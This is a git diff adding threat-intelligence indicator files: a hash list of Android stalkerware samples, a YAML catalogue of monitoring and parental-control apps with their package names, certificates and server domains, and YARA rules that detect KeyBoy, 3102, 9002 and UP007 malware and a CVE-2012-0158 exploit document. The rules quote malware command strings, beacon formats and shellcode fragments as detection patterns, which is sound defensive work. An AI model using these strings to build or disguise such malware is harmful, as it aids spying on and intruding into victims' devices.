+ba95c43e0ed63cdc74b9c359258bb9b1071778ee1ac61d1507bd1b3e0d9438df,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,189,SpyPhoneApp +15cc5fc4ae8df156d3b394bd426172f4a207a6de862751209b515b8e27de077d,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,169,SpyPhoneApp +98d8d433d6714bd6baedf5717fc6775d7aebd4cfb72e07dde1a4e136c483e24b,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,148,SpyPhoneApp +b67f2545922e2c6af5919656af4ceb106db98127465eb1deac726d6214639576,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,110,SpyPhoneApp +9a7edf9c1f471583e1e93dbefc175f3b42c33b059d3d28b938b207b6de998660,com.phone_tra_app_sp.alert,26AF8554EE338D6969FAC51BF4DAC3186098056E,106,SpyPhoneApp +8e17feb1ff96b3b2f5992f29e008b5581b44d3c16a1c742cd93d15971a587ff4,zqlt.debkyrph,0A6464E9F4B4DC70217641253531F07B57C5ED07,1014,AndroidPolice +718b0cb36352f59b4749b26e7851978f1dc0fe24228711ae4f21fe62a41b314a,com.pt.bark,473F919A69BBAD3457AF2F0E3AFC34E513F103F1,539,bark +266eb1ee254175bc2b1f50f0e2d5d15fb5cd91502dcfc8a44f85c5d7a72a17e5,com.qwertyuiop.asdfghjkl,0FB6643902E891C230F6E6662083442EEA1F16CE,227,OneSpy +064f43dc9458038f8d96d6cf456e508dd00fb893940e98022ef19da9670adaed,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,52,SpyPhoneApp +81da4710cac6d81fa3a34af3a095a265107e4d49d5596a830c769679ad8a8457,com.spapptrakapp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,47,SpyPhoneApp +945bc3dc8faffba440e79d2778d3e994ee2362dac5c6cd852d6e88c02380c694,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,2,SpyPhoneApp +5ca1649945cd99e0b45e2ab2587cca9fa6f9d0779b530aca2c035f84c1524a1a,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,6,SpyPhoneApp +1245b4b95500a6a4aaee171df1c7c523ece54e8d5f4165cea78930ab144ab1e4,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,7,SpyPhoneApp +d81f411939f76641bcfc03d01cacdf98195db9386589c45bd80ad0e29dbc7a86,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,3,SpyPhoneApp +756dbfd952195b7ba03d25c354353358517c12d6fc0ec063e38f59327d489ad0,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,90,Traccar +9ff99c6053fa88560857581143a3a25dee2d1e9096aa60618bfc00aa3f747e3a,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,23,SpyPhoneApp +1739099d7bb4027a10102840e38cedef13227d57d9db553656f430cbd279fdef,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,17,SpyPhoneApp +fb494962c3f69a08bf24eaee626284dd72afb4cbed9e2b206ca9106928fb2c71,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,12,SpyPhoneApp +e1fff53defe2fb4180b3af985bada0692302c66e0f16e1c5550161d3ca6906a6,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,19,SpyPhoneApp +c400b4ed590df2279e51f80a121469ccdeb607b172493d9be4e5e416cb861924,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,14,SpyPhoneApp +2a5b1e848f4412007cf7b0c306f658aea967557a1f8647d86d670373d872a66c,com.spatrakappp.alarm,26AF8554EE338D6969FAC51BF4DAC3186098056E,21,SpyPhoneApp +835514ca64e0930f805eaf1d815ebef083d3ae20db42909f0ea4f8763d1a1db5,com.pt.bark,473F919A69BBAD3457AF2F0E3AFC34E513F103F1,544,bark +a01ec2878fa433c773e0e27636b5ddf14793eb5b33be4abe2cd840281064d6cc,pqaqjxfxv.uistudb,D5659CDEE690718458AB1B3B211A7DA509ADAB57,1014,AndroidPolice +d36a693ab2b8de1049231e3e69238a9834dd4b5a2658ed672f8a94e971cdac0e,com.pt.bark,473F919A69BBAD3457AF2F0E3AFC34E513F103F1,548,bark +f9e95e417b98d02bcb5544051d03e01e047c048cab9ee3c2241c820b36ba6772,vo.dbbc,EF14CDDC05A9B4A74469C238475BA2C8F0403A92,1014,AndroidPolice +cb0ba13b14dd83465e2be7355dcb46c3db0c3e9e19e946044abce507bb1509b9,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,93,Traccar +207f14e15709e1f00ee878014ffc9d601aa7638b48a5a5b1c9758eb8147dfcc6,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,94,Traccar +bd1b9499e29f0b7e0b902b8b197837c6a64aa14d63e194bceef6a1df23bfee0b,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,95,Traccar +d669eb7929c344261a6cd33a9d7723eac167fd40b23379fb3372ffc75aced08e,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,96,Traccar +1f61d4b4419b5de11961cbea1e52d5d54022d0b4f6c9c155b964b9a84f959e3e,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,98,Traccar +79b7a5a83d12ec5f6ea5cd827b704496b6488212433c1ef0156b85ef1d90a80e,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,97,Traccar +f04ec7fb59bb2ca18f99e717fb89ca9ca18d4c904e12e3a1bd7542cb89c1ab72,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,99,Traccar +b83868f217dd72efbd7cc9695ccfdf78d079ef6acbff81b77cbeb8d52e66a82d,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,101,Traccar +33f5c93d68126a0c5b172c874b618d5680c45ebe7f9679d61537f0d475b56b52,update.service.android.installer,FE821A533BDC31822D9EB5F98243EB16917C8EE7,108,mSpy +fd5b6d46a5d17e26cdb30d3de2de17a53b82d43144b770f9b9407c34e4ac5c72,update.service.android,1ECC7F67BBD1BFAB97ADDCB05A496BCA7B6B135F,650,mSpy +d6cb5e58f081baeeecf82a912324c20c90259e2b13c85d8bf54d7379e747c3a4,update.service.android,1ECC7F67BBD1BFAB97ADDCB05A496BCA7B6B135F,658,mSpy +2891097e941e0b110811290c99e3e51fa653b87ec98aaebaf78c20bb181bbb77,update.service.android,1ECC7F67BBD1BFAB97ADDCB05A496BCA7B6B135F,655,mSpy +8c1a4c1f172d431368221bbf019fa4e1ee223d51dfb41a9e69e65bdded7a12dc,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,103,Traccar +a75a61944143efb0112e5a0c2f354919b203e33cec24819b9217bc3b429f76f2,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,102,Traccar +e619e7596d747b075a50380ac7face47632ab0fa4d12cafb3fc8781f5bd396d2,wws.mzrnbn,CF802CFCEB47A89766C491192A05F429354FEBA4,1014,AndroidPolice +fb381588f8d94518930f0cfd4f2b70810eddc1e0cff2bfd1e5981f5615d7a0a2,com.pt.bark,473F919A69BBAD3457AF2F0E3AFC34E513F103F1,550,bark +b574045c8983e1ca4c9a0a0103844296994ecc304cada4d9830cd3427d270b54,com.pt.bark,473F919A69BBAD3457AF2F0E3AFC34E513F103F1,551,bark +88e5fc20c108a3a7486eaad3a79feb73bbf92d614bf55fc005fc0a995ba34afd,com.protect.download,A4817668612688754B4905C44AB9F70C58C25CB2,33,MobileTrackerFree +3ba1bb207697f68c1f2ed7a1ba689472e14252e39c963d8bde858dcf3c09aa86,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,106,Traccar +b9a177389a41397c1bdc0f772caf9da6ec201b0a8ec72a0314dd1c936093e708,fdtdmli.cif,F1907978A051CA1D4C22B534A40953302829F852,1014,AndroidPolice +12cd18d1262a8260deaa3e71336c322b77d0ef62a79272210c952596ef7a889e,com.sec.provider.mobile.android,61ED377E85D386A8DFEE6B864BD85B0BFAA5AF81,17,MonitorUltra +a99291ec9971ac2fdfc530962902d80e23f465c1c9cdf4eb8b7c419f1e204c94,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,114,Traccar +d72f5e0aa70f6968bde4d36befbf64624d66200b6f7c12443b9055a2bfb48cf6,com.protect.download,1CE722F401C3FA8FE498FF824669C0007A200AA9,42,MobileTrackerFree +15e1f4f4aba5f8b7a6a7240e8b4de60457ba98deb148d8173b52dba85970bee3,com.pt.bark,473F919A69BBAD3457AF2F0E3AFC34E513F103F1,563,bark +e42916197982c3201f29fb9e9ac8e671c2c1fb6deaea6f036f21b6fcb6434ffa,com.snapchat.trmonap,FC5A4AD10F0686AA8EAE2C08BA13CC451CBD6037,78,EasyPhoneTrack +51e07b4092892b661b3873fe55ec622efcea9d942bf1dbe0b3d92035ddf48c53,com.snapchat.trmonap,FC5A4AD10F0686AA8EAE2C08BA13CC451CBD6037,80,EasyPhoneTrack +182ba41d9930c78bfff28e5e7fda9fda85d99331864e5bff5b646dd6209ae7a7,com.snapchat.trmonap,FC5A4AD10F0686AA8EAE2C08BA13CC451CBD6037,82,EasyPhoneTrack +2d67e3f792cd1e22e6e07d26e31eca0094aeba376145849abaf4dc79b168c952,com.snapchat.trmonap,FC5A4AD10F0686AA8EAE2C08BA13CC451CBD6037,84,EasyPhoneTrack +49bcab232df65d16130c28b86a4930c1a3545f434db68476f7e5c491a903a98f,com.snapchat.trmonap,FC5A4AD10F0686AA8EAE2C08BA13CC451CBD6037,86,EasyPhoneTrack +1f2ff3bd2f27a574f47962bfc94e0701dd96fb2e46003479f95ad3bc0b67d939,org.traccar.client,AA752803419B66BC6D5CFCD61A7C88935FFE5511,115,Traccar +63abe59172b8a43d7ecdd9aee350254c9ab169276c618bb5fe5f370821a753c4,com.snapch.monabcab,892C4F172AD3262EC398B40BBF8130C6421040A1,1,EasyPhoneTrack +146684cebab862629bc9c5714001fef50ad9525deb7bab9b8afb40e6cbc130a6,com.snapch.monabcab,892C4F172AD3262EC398B40BBF8130C6421040A1,3,EasyPhoneTrack +ed1d5029db8345fda2abee2056fed8659324578f6be4b4662c108ebf9f51e6e7,com.snapch.monabcab,892C4F172AD3262EC398B40BBF8130C6421040A1,5,EasyPhoneTrack +b6e91913493baf331a9c308b38d1571001b3794bd150138b87742b0dfea0b26d,com.snapch.monabcab,892C4F172AD3262EC398B40BBF8130C6421040A1,7,EasyPhoneTrack +e8b8c3c427964b36e09d94177b40f1ea7df84f7883622f03936445617c6bb6d8,com.snapch.monabcab,892C4F172AD3262EC398B40BBF8130C6421040A1,8,EasyPhoneTrack diff --git a/data/ioc/stalkerware/watchware.yaml b/data/ioc/stalkerware/watchware.yaml new file mode 100644 index 0000000..81ff043 --- /dev/null +++ b/data/ioc/stalkerware/watchware.yaml @@ -0,0 +1,350 @@ +- name: WiseMo + names: + - WiseMo + type: watchware + packages: + - com.wisemo.host.v10 + certificates: + - 9B48840CBF93379410172B4B85989624D2B33D59 + websites: + - wisemo.com + - www.wisemo.com + c2: + domains: + - mycloud1.wisemo.com + - mycloud.wisemo.com + - mtracker.fortess.net + - mycloud-cs10.wisemo.com + - mycloud-cs17.wisemo.com + - mycloud-cs17a.wisemo.com + - mycloud-cs5a.wisemo.com + - mycloud-cs9.wisemo.com + +- name: FamiSafe + type: watchware + packages: + - com.wondershare.famisafe + - com.wondershare.famisafe.kids + certificates: + - 61B90229F79F730043D06FEE46BB8FD9E3A0E70B + - 095514BA4F28DBE521C74ABF77972BE3C86A50A5 + websites: + - famisafe.wondershare.com + - famisafeapp.wondershare.com + - accounts.wondershare.com + c2: + domains: + - 300624.com + - analytics.300624.com + - api.wondershare.cc + - app-api-pro.wondershare.cc + - data-api.famisafe.com + - dc.wondershare.cc + - famisafe-b6807.firebaseio.com + - sparrow.wondershare.com + +- name: KasperskySafeKids + type: watchware + packages: + - com.kaspersky.safekids + c2: + domains: + - kaspersky-safe-kids.firebaseio.com + +- name: KidsControl + type: watchware + packages: + - app.gpsme + websites: + - kid-control.com + - kid-control.ru + c2: + domains: + - api.kid-control.com + - beta.kid-control.com + - ios.kid-control.com + - go.kid-control.com + - go2.kid-control.com + - gpsme1.kid-control.com + - s.kid-control.com + - s4.kid-control.com + - s5.kid-control.com + - s6.kid-control.com + - s7.kid-control.com + - s8.kid-control.com + - s9.kid-control.com + - s10.kid-control.com + +- name: FindMyKids + type: watchware + packages: + - org.findmykids.app + ios_bundles: + - com.wheremychildren.ios + certificates: + - 2A57777E3B9491A37392AFCE2E69D030DBF95037 + websites: + - findmykids.org + - discount.findmykids.org + c2: + domains: + - r.findmychilds.org + - wss.findmychilds.org + - where-is-my-children.firebaseio.com + +- name: Accountable2you + type: watchware + packages: + - com.accountable2you.ap1 + certificates: + - 78CFFA689DD23FDD7E84DDFBF28F86D4843C6129 + websites: + - accountable2you.com + c2: + domains: + - accountable2you.com + - webservice.accountable2you.com + - accountable2you-android.firebaseio.com + - api.accountable2you.com + +- name: ZoeMob + type: watchware + packages: + - com.zoemob.gpstracking + certificates: + - F9761F7C7AA6317B667671CB8F66479970630EAD + websites: + - www.zoemob.com + - zoemob.com + - panel.zoemob.com + c2: + domains: + - apis.zoemob.com + - zoemob.firebaseio.com + +- name: Life360 + type: watchware + packages: + - com.life360.android.safetymapd + ios_bundles: + - com.life360.safetymap + certificates: + - 19C0868F028757F49FD8F7BDF39FF70C771D622B + websites: + - www.life360.com + - life360.com + - life360-wordpress.s3.amazonaws.com + - life360.zendesk.com + c2: + domains: + - gpi4.life360.com + - life360-dev.tile-api.com + - life360.atlassian.net + - life360-location-dev.tile-api.com + - gpi3.life360.com + - i.lf360.co + - gpi4.dev.life360.com + - life360feedback.typeform.com + - api-cloudfront.life360.com + - life360-com-l360safetycenter.firebaseio.com + +- name: MicrosoftFamilySafe + type: watchware + packages: + - com.microsoft.familysafety + websites: + - family.microsoft.com + c2: + domains: + - location.family.microsoft.com + - mobileaggregator.family.microsoft.com + - safedriving.family.microsoft.com + +- name: GeoZilla + type: watchware + packages: + - com.geozilla.family + certificates: + - EE74E09E40A324B806AE5ED68A4543E50C3B6FC2 + websites: + - geozilla.com + - geozillahelp.zendesk.com + c2: + domains: + - api.geozilla.com + - files.geozilla.com + - geozilla.autosmartins.com + - geozillafamily-c92d0.firebaseio.com + - geozillafamily.firebaseio.com + - iot.geozilla.com + +- name: KidsLox + type: watchware + packages: + - com.kidslox.app + certificates: + - 4BBD8F7E244B86B6B82F2A343EE8EDB5E797FEF8 + websites: + - kidslox.com + - kidsloxsupport.zendesk.com + - www.advanced.kidslox.com + c2: + domains: + - kidslox.page.link + - kidslox.firebaseio.com + - activity.kdlparentalcontrol.com + - admin.kdlparentalcontrol.com + +- name: FamiShield + names: + - Mitbe + type: watchware + packages: + - com.USIB.Child.ChildControl + certificates: + - 4598FFB867E28560BC1198D61EC83A1CCA0F1612 + websites: + - famishield.usibtheteam.com + c2: + domains: + - parental-control-d4a98-default-rtdb.asia-southeast1.firebasedatabase.app + +- name: Qustodio + type: watchware + websites: + - qustodio.com + - www.qustodio.com + packages: + - com.qustodio.qustodioapp + ios_bundles: + - com.qustodio.par.qustodio-family-parental-control-app + - com.qustodio.mdm.app.family.pro + +- name: ScreenTime + type: watchware + websites: + - screentimelabs.com + packages: + - com.screentime.rc + ios_bundles: + - com.screentime + +- name: MMGuardian + type: watchware + packages: + - com.mmguardian.parentapp + - com.mmguardian.tabletsecurity + - com.mmguardian.childapp + certificates: + - 842933609E604063B55C04BBB47763AC7C0FC327 + websites: + - www.mmguardian.com + - mmguardian.com + - family.mmguardian.com + +- name: FlareFamilyLocator + type: watchware + packages: + - com.probit.flare + +- name: FamilyOrbit + type: watchware + websites: + - familyorbit.com + - www.familyorbit.com + c2: + domains: + - www.familyorbit.com + - www.familyorbit.net + packages: + - com.familyorbit.child + certificates: + - DB8DF9C3D6524B298F3EAD22E6A77D7FB2F1003A + +- name: Trulpe + type: watchware + websites: + - truple.io + - app.truple.io + packages: + - com.camhart.netcountable + +- name: Boomrang + type: watchware + websites: + - useboomerang.com + packages: + - com.nationaledtech.Boomerang + certificates: + - E6157A76E1DCF43159529212009A0AA335499B7D + +- name: MobileFence + type: watchware + websites: + - www.mobilefence.com + - mobilefence.com + packages: + - com.mobilefence.family + +- name: Kidgy + type: watchware + websites: + - kidgy.com + packages: + - com.parental.control.kidgy + +- name: Kiddoware + type: watchware + websites: + - kiddoware.com + packages: + - com.kiddoware.kidsplace + +- name: Netnanny + type: watchware + websites: + - www.netnanny.com + - netnanny.com + packages: + - com.contentwatch.ghoti.cp2.child + ios_bundles: + - com.contentwatch.ghoti.cp2.parent + distribution: + - install.netnanny.com + c2: + domains: + - parent.netnanny.com + +- name: SeekDroid + type: watchware + websites: + - seekdroid.com + packages: + - org.gtmedia.seekdroid + +- name: LockItTight + type: watchware + websites: + - www.lockittight.com + - lockittight.com + packages: + - com.timeon.litclient + +- name: SafeNet + type: watchware + websites: + - safenet.family + packages: + - com.cisai.safenetchild + certificates: + - 7F0D7ED5D614B03962014483E654A215A40F029F + c2: + ips: + - 103.10.24.124 + +- name: Discovenger + type: watchware + websites: + - discovenger.com + packages: + - com.discovenger.app diff --git a/data/ioc/yara/filetypes.yara b/data/ioc/yara/filetypes.yara new file mode 100644 index 0000000..8c59871 --- /dev/null +++ b/data/ioc/yara/filetypes.yara @@ -0,0 +1,40 @@ +private rule IsRTF : RTF +{ + meta: + description = "Identifier for RTF files" + author = "Seth Hardy" + last_modified = "2014-05-05" + + strings: + $magic = /^\s*{\\rt/ + + condition: + $magic +} + +private rule IsOLE : OLE +{ + meta: + description = "Identifier for OLE files" + author = "Seth Hardy" + last_modified = "2014-05-06" + + strings: + $magic = {d0 cf 11 e0 a1 b1 1a e1} + + condition: + $magic at 0 +} + +private rule IsPE : PE +{ + meta: + description = "Identifier for PE files" + last_modified = "2014-07-11" + + strings: + $magic = { 5a 4d } + + condition: + $magic at 0 and uint32(uint32(0x3C)) == 0x00004550 +} diff --git a/data/ioc/yara/keyboy.yar b/data/ioc/yara/keyboy.yar new file mode 100644 index 0000000..b2c03e5 --- /dev/null +++ b/data/ioc/yara/keyboy.yar @@ -0,0 +1,289 @@ +import "pe" + +/* +* +* This section of the rules are all specific to the new 2016 +* KeyBoy sample targeting the Tibetan community. Other following +* sections capture file characteristics observed across multiple +* years of development. Don't miss the exploit doc signatures +* at the very end. +* +*/ +rule new_keyboy_export +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the new 2016 sample's export" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports("cfsUpdate") +} + + +rule new_keyboy_header_codes +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the 2016 sample's header codes" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + $s1 = "*l*" wide fullword + $s2 = "*a*" wide fullword + $s3 = "*s*" wide fullword + $s4 = "*d*" wide fullword + $s5 = "*f*" wide fullword + $s6 = "*g*" wide fullword + $s7 = "*h*" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + all of them +} + + +/* +* +* This section of the rules are all broader and will hit on +* older KeyBoy samples and other samples possibly part of a +* a larger development effort. +* +*/ + +rule keyboy_commands +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the 2016 sample's sent and received commands" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + $s1 = "Update" wide fullword + $s2 = "UpdateAndRun" wide fullword + $s3 = "Refresh" wide fullword + $s4 = "OnLine" wide fullword + $s5 = "Disconnect" wide fullword + $s6 = "Pw_Error" wide fullword + $s7 = "Pw_OK" wide fullword + $s8 = "Sysinfo" wide fullword + $s9 = "Download" wide fullword + $s10 = "UploadFileOk" wide fullword + $s11 = "RemoteRun" wide fullword + $s12 = "FileManager" wide fullword + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + 6 of them +} + +rule keyboy_errors +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the sample's shell error2 log statements" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + //These strings are in ASCII pre-2015 and UNICODE in 2016 + $error = "Error2" ascii wide + //2016 specific: + $s1 = "Can't find [%s]!Check the file name and try again!" ascii wide + $s2 = "Open [%s] error! %d" ascii wide + $s3 = "The Size of [%s] is zero!" ascii wide + $s4 = "CreateThread DownloadFile[%s] Error!" ascii wide + $s5 = "UploadFile [%s] Error:Connect Server Failed!" ascii wide + $s6 = "Receive [%s] Error(Recved[%d] != Send[%d])!" ascii wide + $s7 = "Receive [%s] ok! Use %2.2f seconds, Average speed %2.2f k/s" ascii wide + $s8 = "CreateThread UploadFile[%s] Error!" ascii wide + //Pre-2016: + $s9 = "Ready Download [%s] ok!" ascii wide + $s10 = "Get ControlInfo from FileClient error!" ascii wide + $s11 = "FileClient has a error!" ascii wide + $s12 = "VirtualAlloc SendBuff Error(%d)" ascii wide + $s13 = "ReadFile [%s] Error(%d)..." ascii wide + $s14 = "ReadFile [%s] Data[Readed(%d) != FileSize(%d)] Error..." ascii wide + $s15 = "CreateThread DownloadFile[%s] Error!" ascii wide + $s16 = "RecvData MyRecv_Info Size Error!" ascii wide + $s17 = "RecvData MyRecv_Info Tag Error!" ascii wide + $s18 = "SendData szControlInfo_1 Error!" ascii wide + $s19 = "SendData szControlInfo_3 Error!" ascii wide + $s20 = "VirtualAlloc RecvBuff Error(%d)" ascii wide + $s21 = "RecvData Error!" ascii wide + $s22 = "WriteFile [%s} Error(%d)..." ascii wide + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + $error and 3 of ($s*) +} + + +rule keyboy_systeminfo +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the system information format before sending to C2" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + strings: + //These strings are ASCII pre-2015 and UNICODE in 2016 + $s1 = "SystemVersion: %s" ascii wide + $s2 = "Product ID: %s" ascii wide + $s3 = "InstallPath: %s" ascii wide + $s4 = "InstallTime: %d-%d-%d, %02d:%02d:%02d" ascii wide + $s5 = "ResgisterGroup: %s" ascii wide + $s6 = "RegisterUser: %s" ascii wide + $s7 = "ComputerName: %s" ascii wide + $s8 = "WindowsDirectory: %s" ascii wide + $s9 = "System Directory: %s" ascii wide + $s10 = "Number of Processors: %d" ascii wide + $s11 = "CPU[%d]: %s: %sMHz" ascii wide + $s12 = "RAM: %dMB Total, %dMB Free." ascii wide + $s13 = "DisplayMode: %d x %d, %dHz, %dbit" ascii wide + $s14 = "Uptime: %d Days %02u:%02u:%02u" ascii wide + + + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + 7 of them +} + + +rule keyboy_related_exports +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the new 2016 sample's export" + date = "2016-08-28" + md5 = "495adb1b9777002ecfe22aaf52fcee93" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + filesize < 200KB and + + + //The malware family seems to share many exports + //but this is the new kid on the block. + pe.exports("Embedding") or + pe.exports("SSSS") or + pe.exports("GetUP") +} + +// Note: The use of the .Init section has been observed in nearly +// all samples with the exception of the 2013 VN dropper from the +// Rapid7 blog. The config data was stored in that sample's .data +// section. +rule keyboy_init_config_section +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Matches the Init section where the config is stored" + date = "2016-08-28" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + + //Payloads are normally smaller but the new dropper we spotted + //is a bit larger. + filesize < 300KB and + + + //Observed virtual sizes of the .Init section vary but they've + //always been 1024, 2048, or 4096 bytes. + for any i in (0..pe.number_of_sections - 1): + ( + pe.sections[i].name == ".Init" and + pe.sections[i].virtual_size % 1024 == 0 + ) +} + + +/* +* +* These signatures fire on the exploit documents used in this +* operation. +* +*/ +rule CVE_2012_0158_KeyBoy { + meta: + author = "Etienne Maynier " + description = "CVE-2012-0158 variant" + file = "8307e444cad98b1b59568ad2eba5f201" + + + strings: + $a = "d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff09000600000000000000000000000100000001" nocase // OLE header + $b = "ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff" nocase // junk data + $c = /5(\{\\b0\}|)[ ]*2006F00(\{\\b0\}|)[ ]*6F007(\{\\b0\}|)[ ]*400200045(\{\\b0\}|)[ ]*006(\{\\b0\}|)[ ]*E007(\{\\b0\}|)[ ]*400720079/ nocase + $d = "MSComctlLib.ListViewCtrl.2" + $e = "ac38c874503c307405347aaaebf2ac2c31ebf6e8e3" nocase //decoding shellcode + + + condition: + all of them +} diff --git a/data/ioc/yara/malware_families/3102.yara b/data/ioc/yara/malware_families/3102.yara new file mode 100644 index 0000000..53684d3 --- /dev/null +++ b/data/ioc/yara/malware_families/3102.yara @@ -0,0 +1,40 @@ +private rule APT3102Code : APT3102 Family +{ + meta: + description = "3102 code features" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + $setupthread = { B9 02 07 00 00 BE ?? ?? ?? ?? 8B F8 6A 00 F3 A5 } + + condition: + any of them +} + +private rule APT3102Strings : APT3102 Family +{ + meta: + description = "3102 Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + $ = "rundll32_exec.dll\x00Update" + // this is in the encrypted code - shares with 9002 variant + //$ = "POST http://%ls:%d/%x HTTP/1.1" + + condition: + any of them +} + +rule APT3102 : Family +{ + meta: + description = "3102" + author = "Seth Hardy" + last_modified = "2014-06-25" + + condition: + APT3102Code or APT3102Strings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/9002.yara b/data/ioc/yara/malware_families/9002.yara new file mode 100644 index 0000000..0042bf4 --- /dev/null +++ b/data/ioc/yara/malware_families/9002.yara @@ -0,0 +1,47 @@ +private rule APT9002Code : APT9002 Family +{ + meta: + description = "9002 code features" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + // start code block + $ = { B9 7A 21 00 00 BE ?? ?? ?? ?? 8B F8 ?? ?? ?? F3 A5 } + // decryption from other variant with multiple start threads + $ = { 8A 14 3E 8A 1C 01 32 DA 88 1C 01 8B 54 3E 04 40 3B C2 72 EC } + + condition: + any of them +} + +private rule APT9002Strings : APT9002 Family +{ + meta: + description = "9002 Identifying Strings" + author = "Seth Hardy" + last_modified = "2014-06-25" + + strings: + $ = "POST http://%ls:%d/%x HTTP/1.1" + $ = "%%TEMP%%\\%s_p.ax" wide ascii + $ = "%TEMP%\\uid.ax" wide ascii + $ = "%%TEMP%%\\%s.ax" wide ascii + // also triggers on surtr $ = "mydll.dll\x00DoWork" + $ = "sysinfo\x00sysbin01" + $ = "\\FlashUpdate.exe" + + condition: + any of them +} + +rule APT9002 : Family +{ + meta: + description = "9002" + author = "Seth Hardy" + last_modified = "2014-06-25" + + condition: + APT9002Code or APT9002Strings +} \ No newline at end of file diff --git a/data/ioc/yara/malware_families/UP007.yara b/data/ioc/yara/malware_families/UP007.yara new file mode 100644 index 0000000..9b8c772 --- /dev/null +++ b/data/ioc/yara/malware_families/UP007.yara @@ -0,0 +1,190 @@ +rule dubseven_file_set +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for service files loading UP007" + + strings: + $file1 = "\\Microsoft\\Internet Explorer\\conhost.exe" + $file2 = "\\Microsoft\\Internet Explorer\\dll2.xor" + $file3 = "\\Microsoft\\Internet Explorer\\HOOK.DLL" + $file4 = "\\Microsoft\\Internet Explorer\\main.dll" + $file5 = "\\Microsoft\\Internet Explorer\\nvsvc.exe" + $file6 = "\\Microsoft\\Internet Explorer\\SBieDll.dll" + $file7 = "\\Microsoft\\Internet Explorer\\mon" + $file8 = "\\Microsoft\\Internet Explorer\\runas.exe" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 and + + //Just a few of these as they differ + 3 of ($file*) +} + +rule dubseven_dropper_registry_checks +{ + meta: + author = "Matt Brooks, @cmatthewbrooks" + desc = "Searches for registry keys checked for by the dropper" + + strings: + $reg1 = "SOFTWARE\\360Safe\\Liveup" + $reg2 = "Software\\360safe" + $reg3 = "SOFTWARE\\kingsoft\\Antivirus" + $reg4 = "SOFTWARE\\Avira\\Avira Destop" + $reg5 = "SOFTWARE\\rising\\RAV" + $reg6 = "SOFTWARE\\JiangMin" + $reg7 = "SOFTWARE\\Micropoint\\Anti-Attack" + + condition: + //MZ header + uint16(0) == 0x5A4D and + + //PE signature + uint32(uint32(0x3C)) == 0x00004550 